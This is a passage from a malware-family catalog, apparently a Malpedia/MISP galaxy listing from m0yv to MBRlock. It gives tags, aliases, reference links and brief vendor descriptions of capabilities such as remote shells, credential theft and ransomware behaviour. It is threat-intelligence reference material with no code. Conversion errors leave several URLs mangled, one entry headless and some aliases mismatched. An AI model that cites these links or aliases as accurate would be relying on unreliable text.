<td><a href="https://www.zscaler.com/blogs/research/deep-dive-m00nd3v-logger">https://www.zscaler.com/blogs/research/deep-dive-m00nd3v-logger</a></td>
</tr>
</tbody>
</table>
m0yv

Modular x86/x64 file infector created/used by Maze ransomware developer. According to the author, it has been mistakenly tagged by AVs as Expiro.

The tag is: misp-galaxy:malpedia="m0yv"

m0yv is also known as:

<table>
<thead>
<tr>
<th>Table 3480. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.m0yv">https://malpedia.caad.fkie.fraunhofer.de/details/win.m0yv</a></td>
</tr>
<tr>
<td><a href="https://youtu.be/3RYbkORtFnk">https://youtu.be/3RYbkORtFnk</a></td>
</tr>
<tr>
<td><a href="https://securityaffairs.co/wordpress/127826/malware/egregor-sekhmet-decryption-keys.html">https://securityaffairs.co/wordpress/127826/malware/egregor-sekhmet-decryption-keys.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/baderj/domain_generation_algorithms/blob/master/expiro/dga.py">https://github.com/baderj/domain_generation_algorithms/blob/master/expiro/dga.py</a></td>
</tr>
<tr>
<td><a href="https://github.com/baderj/domain_generation_algorithms/blob/master/m0yv/dga.py">https://github.com/baderj/domain_generation_algorithms/blob/master/m0yv/dga.py</a></td>
</tr>
</tbody>
</table>

Macaw

The tag is: misp-galaxy:malpedia="Macaw"

Macaw is also known as:

<table>
<thead>
<tr>
<th>Table 3481. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.macaw">https://malpedia.caad.fkie.fraunhofer.de/details/win.macaw</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions">https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions</a></td>
</tr>
<tr>
<td><a href="https://killingthebear.jorgetesta.tech/actors/evil-corp">https://killingthebear.jorgetesta.tech/actors/evil-corp</a></td>
</tr>
</tbody>
</table>

Machete

According to ESET, Machete's dropper is a RAR SFX executable. Three py2exe components are dropped: GoogleCrash.exe, Chrome.exe and GoogleUpdate.exe. A single configuration file, jer.dll, is dropped, and it contains base64-encoded text that corresponds to AES-encrypted strings.

GoogleCrash.exe is the main component of the malware. It schedules execution of the other two components and creates Windows Task Scheduler tasks to achieve persistence. Regarding the geolocation of victims, Chrome.exe collects data about nearby Wi-Fi networks and sends it to the Mozilla Location Service API. In short, this application provides geolocation coordinates when it’s given other sources of data such as Bluetooth beacons, cell towers or Wi-Fi access points. Then the
malware takes latitude and longitude coordinates to build a Google Maps URL. The GoogleUpdate.exe component is responsible for communicating with the remote C&C server. The configuration to set the connection is read from the jer.dll file: domain name, username and password. The principal means of communication for Machete is via FTP, although HTTP communication was implemented as a fallback in 2019.

The tag is: misp-galaxy:malpedia="Machete"

Machete is also known as:

- El Machete

Table 3482. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.machete">https://malpedia.caad.fkie.fraunhofer.de/details/win.machete</a></td>
</tr>
<tr>
<td><a href="https://medium.com/@verovaleros/el-machete-what-do-we-know-about-the-apt-targeting-latin-america-be7d11e690e6">https://medium.com/@verovaleros/el-machete-what-do-we-know-about-the-apt-targeting-latin-america-be7d11e690e6</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/el-machete/66108/">https://securelist.com/el-machete/66108/</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2019/08/05/sharpening-machete-cyberespionage/">https://www.welivesecurity.com/2019/08/05/sharpening-machete-cyberespionage/</a></td>
</tr>
</tbody>
</table>

**MadMax**

The tag is: misp-galaxy:malpedia="MadMax"

MadMax is also known as:

Table 3483. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.madmax">https://malpedia.caad.fkie.fraunhofer.de/details/win.madmax</a></td>
</tr>
</tbody>
</table>

**Magala**

The tag is: misp-galaxy:malpedia="Magala"

Magala is also known as:

Table 3484. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Maggie

According to DCSO, this malware is written as a Extended Stored Procedure for a MSSQL server. The backdoor has capabilities to bruteforce logins to other MSSQL servers, adding a special hardcoded backdoor user in the case of successfully bruteforcing admin logins.

The tag is: misp-galaxy:malpedia="Maggie"

Maggie is also known as:

Table 3485. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.maggie">https://malpedia.caad.fkie.fraunhofer.de/details/win.maggie</a></td>
</tr>
<tr>
<td><a href="https://medium.com/@DCSO_CyTec/tracking-down-maggie-4d889872513d">https://medium.com/@DCSO_CyTec/tracking-down-maggie-4d889872513d</a></td>
</tr>
<tr>
<td><a href="https://medium.com/@DCSO_CyTec/mssql-meet-maggie-898773df3b01">https://medium.com/@DCSO_CyTec/mssql-meet-maggie-898773df3b01</a></td>
</tr>
</tbody>
</table>

MagicRAT

According to Talos, MagicRAT is programmed in C++ programming language and uses the Qt Framework by statically linking it to the RAT on 32- and 64-bit versions. The Qt Framework is a programming library for developing graphical user interfaces, of which this RAT has none. Talos thinks that the objective was to increase the complexity of the code, thus making human analysis harder. On the other hand, since there are very few examples (if any) of malware programmed with Qt Framework, this also makes machine learning and heuristic analysis detection less reliable.

The RAT uses the Qt classes throughout its entire code. The configuration is dynamically stored in a QSettings class eventually being saved to disk, a typical functionality provided by that class.

MagicRAT provides the operator with a remote shell on the victim’s system for arbitrary command execution, along with the ability to rename, move and delete files on the endpoint. The operator can determine the timing for the implant to sleep, change the C2 URLs and delete the implant from the infected system.

The tag is: misp-galaxy:malpedia="MagicRAT"

MagicRAT is also known as:

Table 3486. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.magic_rat">https://malpedia.caad.fkie.fraunhofer.de/details/win.magic_rat</a></td>
</tr>
</tbody>
</table>
Magniber

According to TXOne, The Magniber ransomware was first identified in late 2017 when it was discovered using the Magnitude Exploit Kit to conduct malvertising attacks against users in South Korea. However, it has remained active since then, continually updating its tactics by employing new obfuscation techniques and methods of evasion. In April 2022, Magniber gained notoriety for disguising itself as a Windows update file to lure victims into installing it. It then began spreading via JavaScript in September 2022.

The tag is: misp-galaxy:malpedia="Magniber"

Magniber is also known as:

Table 3487. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.magniber
https://www.crowdstrike.com/blog/magniber-ransomware-caught-using-printnightmare-vulnerability/
https://hshrzd.wordpress.com/2023/03/30/magniber-ransomware-analysis/
Mailto

The tag is: misp-galaxy:malpedia="Mailto"

Mailto is also known as:

- Koko Ransomware
- NetWalker

Table 3488. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.mailto
https://www.advanced-intel.com/post/netwalker-ransomware-group-enters-advanced-targeting-game
<table>
<thead>
<tr>
<th>Link</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://go.crowdstrike.com/rs/281-OBQ-266/images/ReportCSIT-20081e.pdf">https://go.crowdstrike.com/rs/281-OBQ-266/images/ReportCSIT-20081e.pdf</a></td>
</tr>
<tr>
<td><a href="https://seguranca-informatica.pt/netwalker-ransomware-full-analysis/">https://seguranca-informatica.pt/netwalker-ransomware-full-analysis/</a></td>
</tr>
<tr>
<td><a href="https://krebs">https://krebs</a> onsecurity.com/2021/01/arrest-seizures-tied-to-netwalker-ransomware</td>
</tr>
<tr>
<td><a href="https://lopqto.me/posts/automated-dynamic-import-resolving">https://lopqto.me/posts/automated-dynamic-import-resolving</a></td>
</tr>
<tr>
<td><a href="https://thercord.media/ransomwhere-project-wants-to-create-a-database-of-past-ransomware-payments/">https://thercord.media/ransomwhere-project-wants-to-create-a-database-of-past-ransomware-payments/</a></td>
</tr>
<tr>
<td><a href="https://thercord.media/darkside-gang-estimated-to-have-made-over-90-million-from-ransomware-attacks/">https://thercord.media/darkside-gang-estimated-to-have-made-over-90-million-from-ransomware-attacks/</a></td>
</tr>
<tr>
<td><a href="https://www.incibe-cert.es/blog/ransomware-netwalker-analisis-y-medidas-preventivas">https://www.incibe-cert.es/blog/ransomware-netwalker-analisis-y-medidas-preventivas</a></td>
</tr>
<tr>
<td><a href="https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/">https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/</a></td>
</tr>
<tr>
<td><a href="https://www.crowdstrike.com/blog/analysis-of-ecrime-menu-style-toolkits/">https://www.crowdstrike.com/blog/analysis-of-ecrime-menu-style-toolkits/</a></td>
</tr>
<tr>
<td><a href="https://www.mcafee.com/blogs/other-blogs/mcafee-labs/take-a-netwalk-on-the-wild-side/">https://www.mcafee.com/blogs/other-blogs/mcafee-labs/take-a-netwalk-on-the-wild-side/</a></td>
</tr>
<tr>
<td><a href="https://zengo.com/bitcoin-ransomware-detective-ucsf/">https://zengo.com/bitcoin-ransomware-detective-ucsf/</a></td>
</tr>
<tr>
<td><a href="https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound">https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound</a></td>
</tr>
</tbody>
</table>
https://sites.temple.edu/care/ci-rw-attacks/
https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/
https://www.cybereason.com/blog/cybereason-vs.-netwalker-ransomware
https://docs.google.com/spreadsheets/d/1MI8Z2tBhmQ5X8WF_oqv3dVjz5JOs-3
https://www.youtube.com/watch?v=q8of74upT_g
https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html
https://tccontre.blogspot.com/2020/05/netwalker-ransomware-api-call.html
https://0x00-0x7f.github.io/Netwalker-from-Powershell-reflective-loader-to-injected-Dll/
https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/
https://zero2auto.com/2020/05/19/netwalker-re/
Mail-O
The tag is: misp-galaxy:malpedia="Mail-O"

Mail-O is also known as:

Table 3489. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.mail_o">https://malpedia.caad.fkie.fraunhofer.de/details/win.mail_o</a></td>
</tr>
<tr>
<td><a href="https://labs.sentinelone.com/thundercats-hack-the-fsb-your-taxes-didnt-pay-for-this-op">https://labs.sentinelone.com/thundercats-hack-the-fsb-your-taxes-didnt-pay-for-this-op</a></td>
</tr>
<tr>
<td><a href="https://www.sentinelone.com/labs/thundercats-hack-the-fsb-your-taxes-didnt-pay-for-this-op">https://www.sentinelone.com/labs/thundercats-hack-the-fsb-your-taxes-didnt-pay-for-this-op</a></td>
</tr>
<tr>
<td><a href="https://blog.group-ib.com/task">https://blog.group-ib.com/task</a></td>
</tr>
</tbody>
</table>

MajikPos
The tag is: misp-galaxy:malpedia="MajikPos"

MajikPos is also known as:

Table 3490. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.majik_pos">https://malpedia.caad.fkie.fraunhofer.de/details/win.majik_pos</a></td>
</tr>
</tbody>
</table>

Makadocs
The tag is: misp-galaxy:malpedia="Makadocs"

Makadocs is also known as:

Table 3491. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
</tr>
</tbody>
</table>
MakLoader

The tag is: misp-galaxy:malpedia="MakLoader"

MakLoader is also known as:

Table 3492. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.makloader
https://twitter.com/James_inthe_box/status/1046844087469391872

Makop

BeforeCrypt describes that MAKOP Ransomware first appeared in 2020 as an offshoot of the PHOBOS variant, and that it has infected a number of computers since then. Files encrypted by MAKOP often have the extension “.makop”. You may also notice that your desktop wallpaper has changed. MAKOP uses RSA encryption. There are no known free decryption tools capable of decrypting files encrypted by MAKOP.

The tag is: misp-galaxy:malpedia="Makop"

Makop is also known as:

Table 3493. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.makop
https://blog.morphisec.com/the-fair-upgrade-variant-of-phobos-ransomware
https://twitter.com/siri_urz/status/1221797493849018368
**Maktub**

According to PCrisk, Maktub is ransomware distributed via zipped Word documents. Once the file is extracted and opened, Maktub infiltrates the system and encrypts files stored on the victim's computer. Maktub ransomware adds a .NORV, .gyul (or other random) extension to each file encrypted, thus, making it straightforward to determine which files are encrypted.

The tag is: `misp-galaxy:malpedia="Maktub"`

Maktub is also known as:

**Table 3494. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.maktub">https://malpedia.caad.fkie.fraunhofer.de/details/win.maktub</a></td>
</tr>
<tr>
<td><a href="https://www.intezer.com/iron-cybercrime-group-under-the-scope-2/">https://www.intezer.com/iron-cybercrime-group-under-the-scope-2/</a></td>
</tr>
<tr>
<td><a href="https://bartblaze.blogspot.de/2018/04/maktub-ransomware-possibly-rebranded-as.html">https://bartblaze.blogspot.de/2018/04/maktub-ransomware-possibly-rebranded-as.html</a></td>
</tr>
</tbody>
</table>

**MalumPOS**

The tag is: `misp-galaxy:malpedia="MalumPOS"`

MalumPOS is also known as:

**Table 3495. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.malumpos">https://malpedia.caad.fkie.fraunhofer.de/details/win.malumpos</a></td>
</tr>
</tbody>
</table>

**Mamba**

According to PCrisk, Mamba is an updated variant of high-risk ransomware called Phobos. After successful infiltration, Mamba encrypts stored files and appends filenames with the ".mamba" extension plus the victim's unique ID and developer's email address.

The tag is: `misp-galaxy:malpedia="Mamba"`

Mamba is also known as:

- DiskCryptor
- HDDCryptor

**Table 3496. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
ManameCrypt

The tag is: misp-galaxy:malpedia="ManameCrypt"

ManameCrypt is also known as:

- CryptoHost

Table 3497. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.manamecrypt">https://malpedia.caad.fkie.fraunhofer.de/details/win.manamecrypt</a></td>
</tr>
<tr>
<td><a href="https://www.gdatasoftware.com/blog/2016/04/28234-manamecrypt-a-ransomware-that-takes-a-different-route">https://www.gdatasoftware.com/blog/2016/04/28234-manamecrypt-a-ransomware-that-takes-a-different-route</a></td>
</tr>
</tbody>
</table>

Mango

The tag is: misp-galaxy:malpedia="Mango"

Mango is also known as:

Table 3498. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.mango">https://malpedia.caad.fkie.fraunhofer.de/details/win.mango</a></td>
</tr>
</tbody>
</table>

Mangzamel

The tag is: misp-galaxy:malpedia="Mangzamel"

Mangzamel is also known as:

- junidor
- mengkite
Table 3499. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.mangzamel
https://www.hybrid-analysis.com/sample/5d631d77401615d53f3ce3dbc2bfee5d934602dc35d488a7cebf9b3ff1c4816?en
vironmentId=2
https://www.youtube.com/watch?v=NFJqD-LcpIg

Manifestus

The tag is: misp-galaxy:malpedia="Manifestus"

Manifestus is also known as:

Table 3500. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.manifestus_ransomware
https://twitter.com/struppigel/status/811587154983981056

ManItsMe

The tag is: misp-galaxy:malpedia="ManItsMe"

ManItsMe is also known as:

Table 3501. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.manitsme

Manjusaka (Windows)

Cisco Talos compared this RAT to Cobalt Strike and Sliver. Written in Rust.

The tag is: misp-galaxy:malpedia="Manjusaka (Windows)"

Manjusaka (Windows) is also known as:

Table 3502. Table References
Maoloa

Ransomware family closely related to GlobeImposter, notable for its use of SHACAL-2 encryption algorithm.

The tag is: misp-galaxy:malpedia="Maoloa"

Maoloa is also known as:

Table 3503. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.maoloa">https://malpedia.caad.fkie.fraunhofer.de/details/win.maoloa</a></td>
</tr>
<tr>
<td><a href="https://www.sangfor.com/blog/cybersecurity/alert-new-globeimposter-olympian-gods-20-coming">https://www.sangfor.com/blog/cybersecurity/alert-new-globeimposter-olympian-gods-20-coming</a></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2019/02/maoloa-ransomware.html">https://id-ransomware.blogspot.com/2019/02/maoloa-ransomware.html</a></td>
</tr>
</tbody>
</table>

MAPIget

The tag is: misp-galaxy:malpedia="MAPIget"

MAPIget is also known as:

Table 3504. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.mapiget">https://malpedia.caad.fkie.fraunhofer.de/details/win.mapiget</a></td>
</tr>
</tbody>
</table>

Marap

Marap is a downloader, named after its command and control (C&C) phone home parameter "param" spelled backwards. It is written in C and contains a few notable anti-analysis features.

The tag is: misp-galaxy:malpedia="Marap"

Marap is also known as:

Table 3505. Table References
Mariposa

The tag is: `misp-galaxy:malpedia="Mariposa"`

Mariposa is also known as:

- Autorun
- Palevo
- Rimecud

Table 3506. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.mariposa">https://malpedia.caad.fkie.fraunhofer.de/details/win.mariposa</a></td>
</tr>
<tr>
<td><a href="https://www.us-cert.gov/ics/advisories/ICSA-10-090-01">https://www.us-cert.gov/ics/advisories/ICSA-10-090-01</a></td>
</tr>
<tr>
<td><a href="https://defintel.com/docs/Mariposa_Analysis.pdf">https://defintel.com/docs/Mariposa_Analysis.pdf</a></td>
</tr>
</tbody>
</table>

MarkiRAT

The tag is: `misp-galaxy:malpedia="MarkiRAT"`

MarkiRAT is also known as:

Table 3507. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.markirat">https://malpedia.caad.fkie.fraunhofer.de/details/win.markirat</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/">https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/</a></td>
</tr>
</tbody>
</table>

MarraCrypt

The tag is: `misp-galaxy:malpedia="MarraCrypt"`

MarraCrypt is also known as:
Mars

Ransomware written in Delphi.

The tag is: `misp-galaxy:malpedia=“Mars”`

Mars is also known as:

- MarsDecrypt

Mars Stealer

3xp0rt describes Mars Stealer as an improved successor of Oski Stealer, supporting stealing from current browsers and targeting crypto currencies and 2FA plugins.

The tag is: `misp-galaxy:malpedia=“Mars Stealer”`

Mars Stealer is also known as:
Masad Stealer

The tag is: *misp-galaxy:malpedia=“Masad Stealer”*

Masad Stealer is also known as:

Table 3511. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.masad_stealer


MASS Logger

MassLogger is a .NET credential stealer. It starts with a launcher that uses simple anti-debugging techniques which can be easily bypassed when identified. This first stage loader eventually XOR-decrypts the second stage assembly which then decrypts, loads and executes the final MassLogger payload.

The tag is: *misp-galaxy:malpedia=“MASS Logger”*

MASS Logger is also known as:

Table 3512. Table References

Links
Matanbuchus

According to PCrisk, Matanbuchus is a loader-type malicious program offered by its developers as Malware-as-a-Service (MaaS). This piece of software is designed to cause chain infections.

Since it is used as a MaaS, both the malware it infiltrates into systems, and the attack reasons can vary - depending on the cyber criminals operating it. Matanbuchus has been observed being used in attacks against US universities and high schools, as well as a Belgian high-tech organization.

The tag is: misp-galaxy:malpedia="Matanbuchus"

Matanbuchus is also known as:

Table 3513. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.matanbuchus">https://malpedia.caad.fkie.fraunhofer.de/details/win.matanbuchus</a></td>
</tr>
<tr>
<td><a href="https://r136a1.info/2022/05/25/introduction-of-a-pe-file-extractor-for-various-situations/">https://r136a1.info/2022/05/25/introduction-of-a-pe-file-extractor-for-various-situations/</a></td>
</tr>
<tr>
<td><a href="https://www.cybereason.com/blog/threat-analysis-msi-masquerading-as-software-installer">https://www.cybereason.com/blog/threat-analysis-msi-masquerading-as-software-installer</a></td>
</tr>
<tr>
<td><a href="https://www.Offset.net/reverse-engineering/matanbuchus-loader-analysis/">https://www.Offset.net/reverse-engineering/matanbuchus-loader-analysis/</a></td>
</tr>
<tr>
<td><a href="https://isc.sans.edu/diary/rss/28752">https://isc.sans.edu/diary/rss/28752</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltontickets.com/matanbuchus-malware-as-a-service/">https://unit42.paloaltontickets.com/matanbuchus-malware-as-a-service/</a></td>
</tr>
<tr>
<td><a href="https://blog.cyble.com/2022/06/23/matanbuchus-loader-resurfaces/">https://blog.cyble.com/2022/06/23/matanbuchus-loader-resurfaces/</a></td>
</tr>
<tr>
<td><a href="https://medium.com/@DCSO_CyTec/a-deal-with-the-devil-analysis-of-a-recent-matanbuchus-sample-3ce991951d6a">https://medium.com/@DCSO_CyTec/a-deal-with-the-devil-analysis-of-a-recent-matanbuchus-sample-3ce991951d6a</a></td>
</tr>
<tr>
<td><a href="https://research.openanalysis.net/matanbuchus/loader/yara/triage/dumpulator/emulation/2022/06/19/matanbuchus-triage.html">https://research.openanalysis.net/matanbuchus/loader/yara/triage/dumpulator/emulation/2022/06/19/matanbuchus-triage.html</a></td>
</tr>
</tbody>
</table>
Matiex

Matiex Keylogger is being sold in the underground forums, due to their gained popularity, and can also be used as MaaS (Malware-as-a-service) because of their ease of use, competitive pricing and immediate response from support.

The tag is: misp-galaxy:malpedia="Matiex"

Matiex is also known as:

Table 3514. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.matiex">https://malpedia.caad.fkie.fraunhofer.de/details/win.matiex</a></td>
</tr>
<tr>
<td><a href="https://labs.k7computing.com/index.php/matiex-on-sale-underground/">https://labs.k7computing.com/index.php/matiex-on-sale-underground/</a></td>
</tr>
</tbody>
</table>

Matrix Banker

The tag is: misp-galaxy:malpedia="Matrix Banker"

Matrix Banker is also known as:

Table 3515. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.matrix_banker">https://malpedia.caad.fkie.fraunhofer.de/details/win.matrix_banker</a></td>
</tr>
<tr>
<td><a href="https://www.arbornetworks.com/blog/asert/another-banker-enters-matrix/">https://www.arbornetworks.com/blog/asert/another-banker-enters-matrix/</a></td>
</tr>
</tbody>
</table>

Matrix Ransom

Matrix is a ransomware that encrypts a victim’s files and demands a ransom in cryptocurrency to decrypt them. It is distributed through phishing emails, hacking toolkits, and software downloaders. Matrix is a serious threat and can cause significant damage to a victim’s data.

The tag is: misp-galaxy:malpedia="Matrix Ransom"

Matrix Ransom is also known as:

Table 3516. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.matrix_ransom">https://malpedia.caad.fkie.fraunhofer.de/details/win.matrix_ransom</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/matrix-ransomware/">https://unit42.paloaltonetworks.com/matrix-ransomware/</a></td>
</tr>
</tbody>
</table>
Matryoshka RAT

The tag is: misp-galaxy:malpedia="Matryoshka RAT"

Matryoshka RAT is also known as:

Table 3517. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.matryoshka_rat">https://malpedia.caad.fkie.fraunhofer.de/details/win.matryoshka_rat</a></td>
</tr>
<tr>
<td><a href="http://www.clearskysec.com/tulip/">http://www.clearskysec.com/tulip/</a></td>
</tr>
</tbody>
</table>

Matsnu

The tag is: misp-galaxy:malpedia="Matsnu"

Matsnu is also known as:

Table 3518. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.matsnu">https://malpedia.caad.fkie.fraunhofer.de/details/win.matsnu</a></td>
</tr>
</tbody>
</table>

Maudi

Specialized PoisonIvy Sideloader.

The tag is: misp-galaxy:malpedia="Maudi"

Maudi is also known as:

Table 3519. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.maudi">https://malpedia.caad.fkie.fraunhofer.de/details/win.maudi</a></td>
</tr>
</tbody>
</table>
Maui Ransomware

The tag is: misp-galaxy:malpedia="Maui Ransomware"

Maui Ransomware is also known as:

Table 3520. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.maui">https://malpedia.caad.fkie.fraunhofer.de/details/win.maui</a></td>
</tr>
<tr>
<td><a href="https://www.cisa.gov/uscert/ncas/alerts/aa22-187a">https://www.cisa.gov/uscert/ncas/alerts/aa22-187a</a></td>
</tr>
<tr>
<td><a href="https://media.defense.gov/2023/Feb/09/2003159161/-1/-1/0/CSA_RANSOMWARE_ATTACKS_ON_CI_FUND_DPRK_ACTIVITIES.PDF">https://media.defense.gov/2023/Feb/09/2003159161/-1/-1/0/CSA_RANSOMWARE_ATTACKS_ON_CI_FUND_DPRK_ACTIVITIES.PDF</a></td>
</tr>
</tbody>
</table>

Maxtrilha

Banking trojan written in Delphi, targeting customers of European and South American banks.

The tag is: misp-galaxy:malpedia="Maxtrilha"

Maxtrilha is also known as:

Table 3521. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.maxtrilha">https://malpedia.caad.fkie.fraunhofer.de/details/win.maxtrilha</a></td>
</tr>
</tbody>
</table>

Maze

Maze Ransomware encrypts files and makes them inaccessible while adding a custom extension containing part of the ID of the victim. The ransom note is placed inside a text file and an htm file. There are a few different extensions appended to files which are randomly generated.

Actors are known to exfiltrate the data from the network for further extortion. It spreads mainly using email spam and various exploit kits (Spelevo, Fallout).

The code of Maze ransomware is highly complicated and obfuscated, which helps to evade security solutions using signature-based detections.
The tag is: misp-galaxy:malpedia="Maze"

Maze is also known as:

- ChaCha

Table 3522. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.maze">https://malpedia.caad.fkie.fraunhofer.de/details/win.maze</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/financially-motivated-actors-are-expanding-access-into-ot">https://www.mandiant.com/resources/financially-motivated-actors-are-expanding-access-into-ot</a></td>
</tr>
<tr>
<td><a href="https://research.checkpoint.com/2020/graphology-of-an-exploit-playbit/">https://research.checkpoint.com/2020/graphology-of-an-exploit-playbit/</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2021/02/melting-unc2198-icedid-to-ransomware-operations.html">https://www.fireeye.com/blog/threat-research/2021/02/melting-unc2198-icedid-to-ransomware-operations.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/albertzsigovits/malware-notes/blob/master/Maze.md">https://github.com/albertzsigovits/malware-notes/blob/master/Maze.md</a></td>
</tr>
<tr>
<td><a href="https://therecord.media/darkside-gang-estimated-to-have-made-over-90-million-from-ransomware-attacks/">https://therecord.media/darkside-gang-estimated-to-have-made-over-90-million-from-ransomware-attacks/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/certbund/status/1192756294307995655">https://twitter.com/certbund/status/1192756294307995655</a></td>
</tr>
<tr>
<td><a href="https://intel471.com/blog/conti-ransomware-cooperation-maze-lockbit-ragnar-locker">https://intel471.com/blog/conti-ransomware-cooperation-maze-lockbit-ragnar-locker</a></td>
</tr>
<tr>
<td><a href="https://research.checkpoint.com/2023/following-the-scent-of-trickgate-6-year-old-packer-used-to-deploy-the-most-wanted-malware/">https://research.checkpoint.com/2023/following-the-scent-of-trickgate-6-year-old-packer-used-to-deploy-the-most-wanted-malware/</a></td>
</tr>
<tr>
<td><a href="http://www.secureworks.com/research/threat-profiles/gold-village">http://www.secureworks.com/research/threat-profiles/gold-village</a></td>
</tr>
<tr>
<td><a href="https://github.com/albertzsigovits/malware-notes/blob/master/Ransomware/Maze.md">https://github.com/albertzsigovits/malware-notes/blob/master/Ransomware/Maze.md</a></td>
</tr>
</tbody>
</table>
This ransomware modifies the master boot record of the victim's computer so that it shows a ransom note before Windows starts.

The tag is: `misp-galaxy:malpedia="MBRlock"`

MBRlock is also known as:

- DexLocker

Table 3523. Table References

<table>
<thead>
<tr>
